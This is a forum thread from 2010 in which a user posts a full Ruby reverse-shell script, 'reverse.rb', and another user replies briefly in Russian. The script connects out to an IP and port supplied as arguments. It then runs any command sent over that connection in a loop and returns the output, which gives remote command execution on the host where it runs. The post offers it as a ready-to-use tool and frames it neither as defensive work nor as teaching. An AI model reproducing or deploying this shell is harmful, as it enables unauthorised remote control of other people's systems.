Ruby Reverse Shell (Multi platform)

Discussion in 'PHP' started by MagicCoder, 1 Jun 2010.

  1. MagicCoder

    MagicCoder New Member

    Joined:
    16 Jan 2010
    Messages:
    4
    Likes Received:
    1
    Reputations:
    3
    Ruby Reverse Shell (Multi platform)
    Code:
    #!/usr/bin/env ruby
    #         Ruby Reverse Shell
    #        MagicC0d3r@gmail.com
    #    www.magiccoder.ir    www.sun-army.org
    #      License : GNU General Public License (GPL)
    #Usage    : ruby reverse.rb <ip> <port>
    #Example: ruby reverse.rb 127.0.0.1 1370
    
    
    require 'net/telnet'
    
    if (ARGV[1] == nil)
        puts "\n\n\t\t Ruby Reverse Shell\n\t\tMagicC0d3r@gmail.com\n\twww.magiccoder.ir\twww.sun-army.org\n"
        puts "\nUsage\t: ruby reverse.rb <ip> <port>\nExample\t: ruby reverse.rb 127.0.0.1 1370\n\n"
    else
        server = Net::Telnet::new('Host'=>ARGV[0],'Port'=>ARGV[1].to_i,'Timeout'=>300)
        server.puts "\n\n\t\t Ruby Reverse Shell\n\t\tMagicC0d3r@gmail.com\n\twww.magiccoder.ir\twww.sun-army.org\n"
        puts "Connected to #{ARGV[0]}:#{ARGV[1].to_i}" 
        loop do
            server.print "sh$ "
            command = server.gets
            break if command.chomp == "exit"
            server.print `#{command.to_s}`
        end
        puts "Disconnected"
    end
    
     
    1 person likes this.
  2. lukmus

    lukmus Elder - Старейшина

    Joined:
    18 Nov 2009
    Messages:
    366
    Likes Received:
    115
    Reputations:
    23
    телнет-клиент это конечно круто, но что ты этим хотел сказать